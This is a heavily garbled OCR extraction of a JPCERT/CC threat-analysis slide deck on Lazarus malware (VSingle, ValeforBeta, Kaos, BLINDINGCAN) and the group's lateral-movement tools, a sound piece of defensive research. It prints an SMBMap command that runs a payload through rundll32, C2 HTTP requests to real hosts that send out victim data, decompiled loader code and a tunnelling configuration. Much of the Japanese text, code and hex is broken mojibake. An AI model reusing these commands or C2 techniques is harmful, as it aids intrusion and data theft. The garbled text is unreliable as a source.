N
1 p..
............ UPX0
CUPKTL
..... ¥ oo
........ @....rsr
(I i s

, i
D

UPX
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AN R

BLINDINGCAN_AES

vV R—8&

=)= |
OxABCE %l/J b4 LT KRR

OxABD5 7 7 1 JL—&BUS
OxABD7 Ot X—EHE
OxABD9 Ot X {E1E
OxABDB 7Ot AZE1T
OxABDD %)Dt]%ﬂ' (1—t45
OxABE1 #>>0O—FR

OxABE3 7vJO—k
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OxXABE9 7vJO—F (zIpfb)

OXABEB 7 7 1 JL{EREFEIZEE
OXABED O— A5 1 LEE
OxXABF5 7 7 JUHIER
OXABF7 ¥ T/)LOY U RET
OxABF9 Fh&EHE:?

OxACO3 -

OxACO05 -

OxACO07 BEFTEE
T4 R, T71IVIEEHREX

=]

OxACOD
OXAC15 ALV bTa L O RNUESE

=\

OxAC17 -
O0xAC19 O— RT7OTLRIERG
O0xAC27 7 71)LIE—
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ERLZY—Ib

Lateral Movement

+ AdFind
* SMBMap
» Responder-Windows

JE—r7OERX

* TightVNC Viewer

#REAHR

» XenArmor Email Password Recovery Pro
« XenArmor Browser Password Recovery Pro
e winrar

T DAt

* tcpdump
 procdump
* wget

I
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SMBMap Z{# D/ Lateral Movement

SMBMapZ{ED> CUE—FRAMTVYIV I T 7HT

BigMSl.exe -u USERID -p PASSWORD=[password] -H [IP_Address] -x
"c:¥windows¥system32rundll32.exe C:¥ProgramData¥iconcache.db,CryptGun

HIQO0I7inRQJRaPDv"
B SMBMap|&PyinstallerZ{E> TWindowsE{T 7 7 1)U (EXED 741

V) [CEEINTLS
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ZVUIFIVSMBRE+F

SMBXR ¥+ 2"V —)LDELA
Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]

188: (Username

Log file
win7_test --------
d Settings

m Files
m Files

/olume Information

[ N ST T S T N R I I X ]
[
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Operation JTrack

Lazarus TTPOD R
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Operation Jtrack DI E

WEE (L. MSPHR
~NO—2O(C1FA




Malware%:fx

2D A TDYIVD T 7 =FER

VSingle

ValeforBeta




VSingle

VSingleld. JE—hFRAMTERENDIV %
E1T9 DI DEETRF D TZRAT

PDB/\X

G:¥Valefor¥Valefor_Single¥Release¥ .pdb

IN—2 3 D1ERR
Uepgign: 1.6.1 /\“_:J“E )4.1.1 333:083.0.1 :E)EEE?JB\LJTL\é

Loggedon User: test-user
Stub Path:

Persistence Mode:

Persistence name:
Mutex MName: sonatelr

48 ‘ Copyright ©2021 JPCERT/CC All rights reserv ed. Jziezin) Geonlattar =idrejanay Masdariss ezl Ceore




BISHEEE

1st yOT X

GET /polo/[Unix% 1 L)/ 45 LXF5].php?ufw=[Base64 7 — % 1&uis=[1=—7 ID] HTTP/1.1

Host: maturicafe.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (NET CLR 3.5.30729)
Accept: text/html3,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Charset: ISO-8859-1,utf-8,=0.7,*,=0.7
Keep-Alive: 300

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Base64 T+ —%~

“IP 77 R L R]|[Windows IN\—I 3 V][NV =7 /IN\—I3 ]
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IV R

7147y JO—R

BEA 5 —INILDERE
TN RET
T3040 oo0—F - FT
7yvJO—k

IV T PIEREE
TIA A R=I

AooOd—R

0O N O 1 A W IN =
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YR—b9B5T3T109147

O — RY - — G5 LOD’I.\'DRD[ 12) = 255
SO1 JE—BICHTEMPY% o =ataic
J S « /0 (o] 57 ?m‘tr_h C HIEYTE[wurd 100884C4) )
54
o + 69 case Ou:
7 z- (- ?g 70 tmp = mal_xor_decode(enc_string_10072DEQ); // .tmp
71 mal_generate_temp_filename(&F1leNane, [1nt}t1|),
72 flag_create_file = 1;
73 break;
- e jTuI i T1AT1 [
. 4= 75 nAddres VirtualAlloc(D, dwSize, Ox1000u, Ox40u);
WindowsE{T 7 71l 76 LJZ)DL\'()RD{ 13) = al - 18; ©- ' ' i
77 memmove_0{ T pa cIu:Ire_u, Eu'F'Fer, w1l3);
78 (Cvoid (™) {void))Ipaddres ][},
79 VirtualFree(lpAddress, dwSize, OxB8000u);
80 break;
Bl case 2u:
82 TpAddressa = Virtualalloc(0, dwsize, Ox1000u, Ox40u);
83 LODWORD (v 14) = al - 18:
84 memmove_0(1paddres sa, Euf‘Fer‘, v13);
85 (Cvoid () {void))Tpaddressa)();
86 brealk;
87 case 3u:
88 vhs = mal_xor_decode(enc_string_l0072DEC);// .vhs
89 ma'l _generate_temp_filename(&F1 TeNanes, (1nt) L_y),
a0 flag_create_file = 1;
al break;
92 case Su:
a3 bat = mal_xor_decode(enc_string_l0072DF8);// .bat
a4 mal_generate_temp_filename(&F1 TeName, (int)bat);
a5 flag_create_file = 1;
96 brealk;
a7 default:
a3 brealk;
~ W gg ]'- . | iy |
yI)bj— I\ ig? F" { flag_create_file )
102 mal_sTleep(30);
103 fopen_s (&Stream, &FileName, "at+b");

/
51 Copy right ©2021 JPCERT/CC All rights reserved. AR EN N CO PULETMETTEIGENCYMRESPONSENEANTNEOOIE natio e



ValeforBeta ValeforBeta

ValeforBetaldDelphi CYERX S 117ZRAT T, VSinglek U
D TIVREEE TR SN TS

4 mal_calc_systemhash();
41| LOWORD(vl->config-s>version_id) = myatoi((int)"512"); W ~ -~
42 -»config-=url_counter = 0; / \ — \J 3 J 51 2

o, Dximu),

mymemset (v1- ~confi g->URL1
= ma"\_check count (1

mymemcpy { onfig->URL1, ”

mymemset onfig-»Proxy, 0, [}ximu),
= mal_check coumt((' 1t)

mymemcpy

mymemset

mymemset (v1l->config->f1 e1d 318, 0, OxJ.lMu),
->config->cmd_interval myato'i((' nt) H
->config-»script_ 1nter‘va'l = myatoi ((i
-»config-»sleep_time_dwl = myatoi((i 1"3;

mymemset Th'lsmudu'lef'l'lemame o, 0xJ.04u),

mymemset onfig->argv_Ovalue, 0, D)(L[Mu),

1* ( myato1((nt)"1") )

=rb
nx 16/doc/total. php™);
7.16/doc/total. php”, 'H

-»config->flag_loadpe = l
tem FaramStr(O &
= System::__Tinkproc__ LStr‘ToPChar‘( 'H
= mal check _count(vB);
tem FaramStr(O & 'H
(c t id *)System::__linkproc__ LStrToPChar( 'H
mymemcpy( -=config- Th15mndu'|ef1"lename, . ¥H

else

-»config->flag_loadpe = 0;
if ( 1System::ParamCount() )
goto LABEL_13;
System::Param5tr{0, &23);
= System::__Tinkproc__ LStrToPChar( 'H
= mal_check_count{v4); e
tem FaramStr(O &v223;
(c t id *)System::__linkproc__ LStrToPChar( 'H

mymemcpy( - cnmﬁg— argv_| 0ua1ue, . 'H
FR INTERNET_OPEN_TYPE_DIRECT
Sy;tem 'I1r|kpr‘oc LStrToPChar( 'H

= mﬁ1_check count (vE);
System::ParamStr(l, &w20);

pAxex m?és‘?ﬁf!mdu}lﬁ?iﬁim.LStTWc??" ; INTERNET OPEN_TYPE_PRECONFIG

)
INTERNET_OPEN_TYPE_PRECONFIG,

INTERNET_OPEN_TYPE_PROXY

INTERNET_OPEN_TYPE_PROXY;

if ( myatoi ((

£
9 ->config- >de|:dessTypE
haREr 2.
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D TIVREEE TR SN TS

0000§5d0 65 00 72 00 66 00 6c 00 6f 00 77 00 00 00 00 00 |e.r.f.l.0.w.....| e

0000§5e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.vvvvvrevnnen... | Windoms
0000540 00 00 00 00 00 00 00 00 00 00 00 00 26 3d 4 38 |...vvvre.... %=08| SvsConat

0000§600 <2 82 37 b8 £3 24 42 03 17 9b 32 83 01 00 00 cc |..7..$B...:..... ys-ons

0000§610 00 00 00 00 16 00 00 00 01 22 56 81 6c 65 66 6§ |......... [Valefol Sysinit

0000§620 72 42 65 74 61 00 10 ca 55 6e 69 74 42 69 74 6d [rBetal..UnitBitm System

0000§630 61 70 00 00 1b 55 6e 63 74 48 65 81 70 00 00 95 |ap...UnitHeap...| SysUtils

0000§640 55 Be 69 74 4d 65 6d 6f 72 79 00 1c 4b 57 69 6e |UnitMemory. .Kiin| UnitBitmap
0000§650 64 6f 77 73 00 00 7 53 79 73 74 85 6d 00 00 81 |dows...Svstenm...| UnitBotCmdEngine
0000§660 53 79 73 49 6e 69 74 00 10 55 54 79 70 65 73 00 |Svslnit..UTvpes. | UnitBotCommunication
0000§670 00 41 55 Be 69 74 47 65 74 41 70 89 00 00 46 55 |.AUnitGetdpi. .FU| UnitBotCore
0000§680 6e 69 74 43 69 70 68 65 72 00 10 ba 55 6e 69 74 |nitCipher...Unit| UnitBotGlobal
0000§690 55 74 69 Bc 73 00 00 7f 55 e 69 74 4d 44 35 00 |Utils...UnithD5. | UnitBotInit
0000§620 00 ef 55 Be 69 74 53 54 52 00 00 2e 55 6e 69 74 |..UnitSTR...Unit| UnitBotProtect

000016b0 42 8 74 47 Bc 6 62 61 Bc 00 Tc 3f 57 69 Be 48 |BotGlobal..?WinI| UnitCipher
000016c0 Be B85 74 00 10 28 55 Ge B9 74 42 6f 74 43 Bd 64 |net.. (UnitBotCnd| UnitGetApi
0000160 45 B 67 69 Be 85 00 10 ff 55 Ge 69 74 42 6f 74 |Ensine...UnitBot| UnitHeap
0000160 43 8 6d 6d 75 Be 69 63 61 74 69 8 6e 00 10 9d  |Communication. .. UnitMD5
0000160 53 79 73 43 B Be 73 74 00 00 4f 55 Be 68 74 42 |SvsConst..0Unit UnitMemory
0000700 6f 74 43 Bf 72 65 00 00 19 55 Ge 69 74 42 6f 74 |otCore...UnitBot| UnitSTR
0000710 50 72 6f 74 65 63 74 00 00 7a 55 6e 69 74 42 6f |Protect..zUnitBol UnitUtils
00001720 74 49 Ge 69 74 00 00 02 53 79 73 55 74 69 Bc 73 [tInit...SysUtils| UTypes
00001730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.......c.c..o.... | Winlnet
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1st yOT X

POST /doc/total.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: JSESSIONID=[Base64 7 —%]

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW&64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)

Host: 3.90.97.16
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

—\ N

Base64 7 —%

"I8BXFDT Y LR FH 115 2% LXF5 (4-1 23(5?—)] "

-[ 11&. 954728ID, NI 7IN—IU3 2, IPPZRLX, OS
\

~ W

—> 3
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BR{EHEBE ValeforB

= mal_check_count(http_strc-=URL);

-~ W P Al ( (void ( =tdecall **){int, int, int, int *))o_InternetCrackUrlA[0]) Chttp_strc-»URL, w7,
] Q _J 1T IFCvd=1)
(] {1 m | {
%0)\*1: wsprintfag
— &30
L = "Content-Type: multipart/form-data; boundary=%s'rin"

({const CTTr ")ht;:p_t tro-=http_bonday_str);
2 vzl

{ if (w20 )
wsprir}t‘FA(

&viz,
"--%s\rinContent-Disposition: form-data; name=%"%s%"\ri\n\rinssi\rinyrin”
(const char *)http_strc-=http_bonday_str,
(const char *)http_strc-=http_namel,
(const char *)http_strc->http_body_text);
else
wspr‘mt‘FA(

%_,\r\n
"Content-Disposition: 'Form—data, name=", "%z
"Content-Type: image/bmp'rin™
"\ryn"

BMPT—% Di%(§
[C{A3E

(ct:ﬁst char *)http_strc-=http_bonday_str,
(const char *)http_strc->http_name,
(const char *)http_strc-shttp_filename);

else

wsprintfA(
&?32,
"--Zshrin”
"Content-Disposition: form-data; name=\"%s'""rn"
"rynt
"Hshrin”
"--%shrin”
"Content-Disposition: form-data; name=\"%s\"; filename=""%s%"rn"
"Content-Type: image/bmp'rin”
"rnt,
(const char *)http_strc-=http_bonday_str,
(const char *)http_strc->http_namel,
(const char *)http_strc-=http_body_text,
{const char *)http_strc->http_bonday_str,
(const char *)http_strc->http_name,
(const char *)http_strc-=http_filename);

rintfA(&y33, "\rin--%s--4r,
= mal_check_count {(int)&
mal_check_count ({1nt)&:

, (const char *)http_strc->http_bonday_str);
H

bH
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1 dorO—Fk
7yvJO—Rk

3 YTV IRHET
714 AN

4 (cmd /c ping-n 4 127.0.0.1 >NUL & echo
VFB > "BED T 71 JLA")

6  SleepBFfEINERE
7 DRTLBRDEE
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ELF_VSingle

ELF VSingle

VSinglelZ &, PE/

ELF/N\—2

ELF_VSingle

27 = __readgsdword {Ox14u);
25| memset(& 0, Ox104u);
memset (& , 0, Ox104u);
= mal_create_ 1d(),
mal_get_systemi n'Fo(& »H
memset (& . .

qmemcpy (&
mal_print({int)&
LABEL_3:
mal_http_func{{(int)& 'H
if { !'recv_data[562] )

goto LABEL_2;

4 = recv_data;
41| memset( , 0, sizeof( I H
42 while (1)

31 { i
44 while (1)
15 {

= strstr(vo, riyn");
if ( = -1
break;
sub_ BOBSDD?(( 1) Cint)wvo);

= sub_80502E0( 3;
51 i 16 || lsub_B04DF30((int)ve) )
go'tc- LABEL _ 13

#ELF _VSinglel&. Linuxty—/\—&45—%5"v I\L.Lf(\ﬂ%

Copy right ©2021 JPCERT/CC All rights reserved.

basicstring_replace(&dword_BOFES98, 0, dword_8O0FB59C, (unsigned in

RO

~ W

— 3 EIFTRLS
3 EFE

VSingle

eateMutexA(0, 0, &hame) )
ftEl'l':):l'() == 183 )

H
mal_install();
= mal_create_id();

mal_get_systeminfol& ¥H
1 = mal_xor_decode(™"\r"); /
2| mal_print_0(& , , & .
Sleep(2000u);
while (1)

Sleep(s OOU) H

e B e B e I I RN RN W Y

at Thl ead(0, 0, mal_http_func_thread, & ,
t( , OXFFFFEFFF);

1'F ( get command 'F'Iag J

51 mal_start thread(),

8 (void *)sub_l0009650(Togstrings);

ad{0, 0, mal_http_func_thread, , 0, &
=cE(v1l, OXFFFFFFFF);

ht
wWait
LODWORD(, ) 04

memset (downToad_ data, 0, 3
basicstring_clear(logstrings);
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Kaosl&Golang CRHRFEIN/ZRATCH Y. FERDI TI)VIV
D RFZERETY DEEERF o CL\D

Fﬁ%&% C:/Users/administrator/Downloads/kaos/engine
C:/Users/administrator/Downloads/kaos/utilities. GetCookieParams
C:/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
C:/Users/administrator/Downloads/kaos/engine.NewEgg
C:/Users/administrator/Downloads/kaos/utilities.BaseDecode

C:/Users/administrator/Downloads/kaos/utilities.BaseEncode
C:/Users/administrator/Downloads/kaos/utilities.COsname
C:/Users/administrator/Downloads/kaos/utilities.Run
C:/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
C:/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
C:/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
C:/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
C:/Users/administrator/Downloads/kaos/engine/Egg.go
C:/Users/administrator/Downloads/kaos/main.go
C:/Users/administrator/Downloads/kaos/utilities/base64.go
C:/Users/administrator/Downloads/kaos/utilities/http.go
C:/Users/administrator/Downloads/kaos/utilities/utils.go
C:/Users/administrator/Downloads/kaos/utilities/utils_linux.go
C:/Users/administrator/Downloads/kaos/utilities.Http PostWithCookie
C:/Users/administrator/Downloads/kaos/utilities HttpPostWithFile
C:/Users/administrator/Downloads/kaos/utilities.EierKochen

. &/ = Nfesamsy - ®
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if ( (unsigned int)& <= *(_DWORD *)(*(_DWORD =) (__|

runtime_morestack_noctxt();
strings_TrimSpace((int)off_8496D78, dword_8496D7C);
stroconv_atoi " . ! bH

iF vz

{ .
“ig-»interval = 10;
ig-=data = 0;

else

g-=interval = H
-=data = == 31;

= C2_URL1;
“1g-> 'Ienght of_c2

1'F ( flag )
runtime_gcWriteBarrier();
else

= Length_of_C2_URL1; / Ox68 (104)

onfig-=c2_addr = (int)
_C__Us

1Fig-» 1ength of_rcdkey = H

1‘F ( flag )
runtime_gcWriteBarrier();

else
onfig-»rodkey =

LCIBYTE( -»1s connected) 0;
-=try_num = 0;

time_MNow(v3);

sub_BO0ALFFE(& . H

if ( == 0 )

{

H
else

(2 * v13) > 31;
- B78233344;
(__PATIR64__((unsigned int)( »» 31) »» 31,

60 Copyright ©2021 JPCERT/CC All rights reserv ed.

er‘f _administrator_| Du:mr'|'|oat‘|r _kaos_utilities_GeneratelniqueID();//

readgsdword{0) - -

gen:

) + OxDD7BL7FSOLL) =

struct config
{
int interval;
int data;
int c2_addr;
int lenght_of_c2;
int rcdkey;
int length_of_rcdkey;
int is_connected;
int setcookie_data;
int data2;
int try_num;
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POST /recaptcha.php HTTP/1.1

Host: www.karin-store.com

User-Agent:

TW96aWxsYS81LjAgKFdpbmRvd3MgTIQgMTAUMDsgV2IuNjQ7IHg2 NCkgQXBwbGVXZWILaXQvNTM3LjM2IChLSFRNTCwgbGIrZSB
HZWNrbykgQ2hyb2 1ILzYwLAUMZExMi4xMTMgU2FmYXJpLzUzNy4zNg==

Connection: close

Content-Length: 0

Cookie: captcha_session=NJMOOThhMTQxYWQyYTNkZjJhOTUwMGEOMzY3NGI5SNDBINTk?2;
captcha_val=0e5gu3%2BxjHmCrpuiXNd4HICRdpZgl3mdbfg%3D

Accept-Encoding: gzip

captcha_session
"S5 LT —% (16byte)][ (16byte)][ T & LT —% (4byte)]”
captcha_val

“linux 386|[IP77 R L R]" 7213 [ 1)V O— RETHER"
m C2H—/\—HS5NDIY T RIE “Set-Cookie” /\u@—l iné
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AV 2 RETRFOHTTPL XK R

POST /recaptcha.php HTTP/1.1

Host: www.karin-store.com

User-Agent:

TW96aWxsYS81LjAgKFdpbmRvd3MgTIQgMTAUMDsgV2IuNjQ7IHg2 NCkgQXBwbGVXZWILaXQvNTM3LjM2IChLSFRNTCwgbGIrZSB
HZWNrbykgQ2hyb2 1ILzYwLAUMZExMi4xMTMgU2FmYXJpLzUzNy4zNg==

Connection: close

Content-Length: [Length]

Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd816 18274 cdabafeeb
Cookie: captcha_session=YTY5NDQ5MDYwWNmMRKNjlyOWI3MzU INTNmMYzMxMzhiNTAyNGJh;
captcha_val=NGI5NjdhNTdhN;jliZTVkMg%3D%3D

Accept-Encoding: gzip

--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cdabafeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"”
Content-Type: application/octet-stream

BMf6(0a DT043b01c728892b495b99¢eadc257fe3a8fea3asf
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cdabafeeb--

= L AN ZAFT—9M 7,000 bytesz=#B R =5, REET—INPNGT—%
[CfEREIND
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NEERNTLDB

mowv [esp+0F0Oh+var_F0], ebx

mowv [esp+0F0Oh+var_EC],

call time_Duration_5String

mowv eax, [esp+0OF0h+]ength_of_decode_data]
mowv ecx, [esp+0OF0Oh+decoded_data_bvEG4d]
lea edx, [esp+OFOh+var_48]

mo [esp+0F0Oh+var_F0] . _edx

lea edx, aAbstand .| "aAbstand |

mowv [esp+0F0Oh+var_EC], edx

mowv [esp+0F0Oh+decoded_data_bvBed],

mowv [esp+0F0h+1 ength_of_decode_data], ecx
mowv [esp+0FOh+var_E0], eax

lea eax, adnwenden anwenden’n |

mowv [esp+0FOh+var_DC], ¢

mo [esp+0F0h+var_DE], DBh

call runtime_concatstring3

m) | XK R AyE—1E “Abstand [....] anwenden”
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Lateral Movement

* Mimikatz

» smbexec

JE—F70EX

* 3Proxy
* Plink
« Stunnel

#REFHX

e winrar

T DA

* timestomp
» procdump

fit

|

dl
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Stunnel + 3Proxy + SSH
3ProxyZ SSHIRH T — /N —[Z3EHt 9 D7z [C{EF

#1 #3

3Proxy ASSHiR—h StunnelH5 70O+ 1 —
TAT—T 1 VT T IN—EHTC2ITiERT
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Stunnel

Stunnel 3%

[sle]sE)

client = yes

accept = 127.0.0.1:5821

connect = [JOF I H— /- [TOFIR— &S]
protocol = connect

protocolHost = 203.193.165.77:443

userAgent = "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:65.0) Gecko/20100101
Firefox/65.0"

;verifyChain = yes

;CAfile = stun.pem

;checkIP = 127.0.0.1

debug =7

=N TOF T —N\—ZFL. QY —/N\—EBETDHIER

{ &
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AUIF IV T )bcurl
227 curl

Usage: [application name].exe url filename

MY OoO0—-RUET7P 4M¢%TEMP%77r)l/9“l._1%7(‘*7n%>
OJJ74)b e ————

07.04.2021 - 11:20:19:528 : start..

©7.04.2021 - 11:20:19:543 : response code: 200

87.84.2021 - 11:28:19:543 : read start

<IDOCTYPE html>
<html lang="en">

<body>
test

</body>
</html>
97.84.2021 - 11:20:19:559 : read end

©7.04.2021 - 11:20:19:559 : completely succeed!

97.84.2021 - 11:20:19:559 : the end..
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{EALU7=Windows 1Y >V K

cndINY VR

« ipconfig
* net group
* net share

* net user

* net view

* netstat

* nslookup
* ping

* query user
* reg query
* route print
« systeminfo
« tasklist

PowerShell

» Get-ADComputer
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Get-ADComputer 74 7' 3 2 Dl

Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem,

OperatingSystemServicePack | Format-List name, ipv4*, oper*

| | . .
u Microsoft | Scripting  DevBlogs Developer - Technology - Languages - MET Platform Development - Data Development - @

PowerTip: Use PowerShell to Get a List of Computers and
IP Addresses from Active Directory

i
Dr Scripto

November 19th, 2012

Summary: Use Windows PowerShell and the Active Directory module to get a listing of computers
and IP addresses from Active Directory.

Q How can | get a list of all computers, the operating system version, the service pack, and the IP

address from Active Directory?

A Use the Get-ADComputer cmdlet and specify the ipv4Address, OperatingSystem,

and OperatingSystemServicePack properties, as shown here.

Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem,
OperatingSystemServicePack | Format-List name, ipv4*, oper*
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VSingle& DtrackDLLES
Dtrack& (& Reported by Kaspersky 2

SECURELIS[ by Kaspersky

Solutions Industries Products Services Resource Center Contact Us GDPR

=— Content menu

Hello! My name is Dtrack
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VSingle& DtrackDLLES

VSingle 7\wh—

ll e =

000 push ebp

3 Attributes: bp-based frame
sub_401080 proc near

arg_0= dword ptr &

004 mov ebp, esp
004 mov eax, dword_444980
004 add eax,
004 mov dword_444980, eax
004 cmp dword_444980, 2
004 jbe short Toc_4010DF
Toc_4010DF :
004 cmp dword_442024, 0
004 jz short Toc_401128
h i
il e =]
004 push 3C414544h
008 push 0C5363967h
00C push 9097DC5Bh
010 push OAD4BA2F4h
014 call sub_4014D0
014 add esp, 10h
004 mov [ebp+arg_0], eax
004 push 998BEB17h
008 push OE7417BCEh
00C push ODECGCS 9h
010 push 16DBE2EEh
014 call sub_4014D0
014 add esp, 10
004 mov dword_442004, eax
h J J L J
e = il e =
004 mov ecx, dword_444980|
004 sub ecx, Toc_401128:
004 mov dword_444980, ecx| |004 mov edx, dword_444380
004 mov eax, 31AA7B32h 004 sub edx, 1
004 jmp short Toc_40113C 004 mov dword_444980, edx
004 mov eax, DAGF35B2Dh
| T
vy
all il [
Toc_40113C:
004 pop ebp
000 retn
sub_4010B0 endp

Copy right ©2021 JPCERT/CC All rights reserved.

Jzierzip

Attributes:

ased frame
sub_4011A0 proc near

arg_0O= dword ptr 8

push ebp
mov ebp, esp
mov eax, dword_4479C0
add x, 1
mow dword_4479C0, eax
cmp dword_4479c0, 2
jbe short Toc_4011CF
Toc_40L1CF:
cmp dword_44500C, 0
short Toc_401213
e =
push 984B8EFSh
push OEE1D3F43h
push 43BF6744h
call sub_401230
add esp, OCh
mov [ebp+arg 0], eax
push 229DB5AZh
push 21864B0Bh
push 20CD8673h
push ODEEECEFBh
call sub_4012D0
add esp, 10h
mov dword_445004, eax
'
il s =5
mow ecx, dword_4479C0)]
sub ecx, Toc_401213:
mov dword_4479C0, ecx| [mov edx, dword_4479C0)
mov eax, GBI0BEFBh sub edx, 1
] short loc_401227 mov dword_4479C0, edx

mov eax, 3CDCDBOAh

Toc_401227:
pop ebp

retn
sub_4011A0 endp

GO PULEIRETIEIGENCYARESONSEN

Dtrack 78y HhH—




TTPDEL =

Dtrack v 2 NXR—
> (1 R20195)13]

3Prox
3 Proxy From seqrite’s 2020

Annual Report &

Kaspersky’s 2019
og | SSH tunnels

Japanese company’s 2020/6
Website Symantec’s report

(Compromised about Lazarus
Website used as C2) subgroup

JiL

Japanese company'’s
Website

(Compromised
Website used as C2)

\. J \. J \. J

72 ‘ Copyright ©2021 JPCERT/CC All rights reserv ed. Jziezin) Goolitsr Spidrejanay Masdanss Tzl Goe



Copy right ©2021 JPCERT/CC All rights reserved. Jeiezin) Gorlotitsr Siidrejanay Masdarss Tzl




ERUZY —IVDLEER

Operation Dream Job Operation JTrack

Lateral Movement Lateral Movement

?&FI;:/CII * Mimikatz

. ap .

*Responder-Windows smbexec

JE—F7OTEX

JE—Hr7OER

*TightVNC Viewer * 3Proxy
* Plink

[5¥REAEX « Stunnel

«XenArmor Email Password Recovery Pro

EE0 oo
E#REFHR
«XenArmor Browser Password Recovery Pro

swinrar  winrar

T At

I e
stcpdump :
*procdump * timestomp
swget » procdump

74 ‘ Copyright ©2021 JPCERT/CC All rights reserv ed. AR EN RO P UL EIGENCY MR ESPONSEN EAMMEO0Idination



7%

Operation Dream Job ATT&CK ¥ £

A\ Y

Reconnaissance

Gather Victim Identity
Information (T1589)

Gather Victim Network
Information (T1590)

Gather Victim Org
Information (T1591)

Gather Victim Host
Information (T1592)

Search Open
Websites/Domains
(T1593)

Search Vitim-Owned
Websites (T1594)

Active Scanning (T1595)

Search Open Technical
Databases (T15%)

Search Closed Sources
(T1597)

Phishing for Information

Acquire Infrastructure
(T1583)

Compromise
Infrastructure (T1584)

Establish Accounts
(T1585)

Compromise Accounts
(T1586)

Develop Capabilities
(T1587)

Obtain Capabilities
(T1588)

Valid Accounts (T1078) I

Replication Through
Removable Media
(T1091)

External Remote Services Command and Saripting

(T1133)

Drive-byCompromise  Graphical User Interface

(T1189)

Exploit Public-Facing
Application (T1190)

SupplyChain
Compromise (T1195)

Trusted Relationship
(T1199)

Hardware Additions
(T1200)

Phishing (T1566)

Windows Management

Scheduled Task/Job
(T1053)

Interpreter (T1059)

(T1061)

Scripting (T1064)

Software Deployment
Tools (T1072)

Native APl (T1106)

Shared Modules (T1129)

Source (T1153)
Component Object

Model and Distributed
COM (T1175)

Exploitation for Client
Execution (T1203)

User Execution (T1204)

Inter-Process
Communication (T1559)

System Senvices (T1569)

Instrumentation (T1047)

Persistence

Path Interception (T1034)Path Interception (T1034

Boot or Logon
Initialization Scripts
(T1037)

Boot or Logon
Initialization Scripts
(T1037)

Scheduled Task/Job
(T1053)

Scheduled Task/Job
(T1053)

Hypervisor (T1062)

Exploitation for Priviege

Valid Accounts (T1078) Escalation (T1068)

Account Manipulation v, iy accounts (T1078)

(T1098)
Redundant Access Access Token
(T1108) Manipulation (T1134)

External Remote Services Group Policy

(T1133) Modification (T1484)
Create or Modify System
Create Account (T1136) = *% 21 MOy %5

Office Application Startup
(T1137)

Event Triggered
Execution (T1546)

Browser Extensions
(T1176)

Boot or Logon Autostart

Execution (T1547)
Abuse Elevation Control
BITSobs(T1197) Mechanism (T1548)

- Hijack Execution Flow
TrafficSignaling (T1205) (T1574)
Server Software
Component (T1505)
Implant Container Image
(T1525)
Pre-0S Boot (T1542)
Create or Modify System
Process (T1543)
Event Triggered Execution
(T1546)
Boot or Logon Autostart
Execution (T1547)
Compromise Client
Software Binary (T1554)

Hijack Execution Aow
(T1574)

Process Injection (T1055) Masquerading (T1036)

Defense Evasion

Direct Volure Access  Group Poliy Modification OS Credential Dumping System Senvice Discovery ; Data from Local System
(T1006) (T1484) (T1003) (T1007) pemoelSees o2l (T1005)

Rootkit (T1014)

Obfuscated Files or
Information (T1027)

Process Injection (T1055)

Sripting (T1064)

Indicator Removal on
Host (T1070)

Valid Accounts (T1078)

Redundant Access
(T1108)

Modify Registry(T1112)

Trusted Developer
Utiities Proxy Execution
(T1127)

cess Token
Manipulation (T1134)
Deobfuscate/Decode Fles
or Information (T1140)
Ic

IN Hijacking
(T1149)
BITS Jobs (T1197)

Indirect Command
Execution (T1202)

TrafficSignaling (T1205)

Rogue Domain Controller
(T1207)
Exploitation for Defense
Evasion (T1211)
Signed Script Proxy
Execution (T1216)
Signed Binary Proxy
Execution (T1218)
XSLScript Processing
(T1220)
Template Injection
(T1221)

File and Directory
Permissions Modification
(T1222)
Execution Guardrails
(11480)

Virtualization/Sandbox
Evasion (T1497)

Unused/Unsupported
Cloud Regions (T1535)

Pre-OS Boot (T1542)

Abuse Elevation Control
Mechanism (T1548)
Use Alternate
Authentication Material

Subvert Trust Controls

Modify Authentication
Process (T1556)

Impair Defenses (T1562)

Hide Artifacts (T1564)
Hijack Execution Flow
(T1574)
Modify Cloud Compute

Infrastructure (T1578)

NetworkBoundary
Bridging (T1599)

Weaken Encryption
(T1600)

Input Capture (T1056)

Brute Force (T1110)

Two-Factor
thentication
Interception (T1111)

Forced Authentication

(T1550) Qe

Exploitation for
Credential Access

(T1553) 1212)

Token (T1528)

StealWeb Session
Cookie (T1539)

Unsecured Credentials
(T1552)

Credentials from

Modify Authentication
Process (T1556)
Man-in-the-Middle
(T1557)

Stealor Forge Kerberos
Tidkets (T1558)

Modify SystemImage

(T1601)

NetworkSniffing (T1040

Password Stores (T1555

Application Window
Discovery (T1010)

QueryRegistry(T1012)
SystemNetwork
Configuration Discovery
(T1016)

Remote System Discovery

(T1018)

System Owner/User
Discovery (T1033)

NetworkSniffing (T1040)

Steal Application Access NetworkSenice Scanning. Internal Spearphishing

(T1046)
SystemNetwork

Connections Discovery  Authentication Material

(T1049)

Process Discovery (T1057)

Permission Groups
Discovery (T1069)

System Information
Discovery (T1082)

File and Directory
Discovery (T1083)
Account Discovery

(T1087)
Peripheral Device
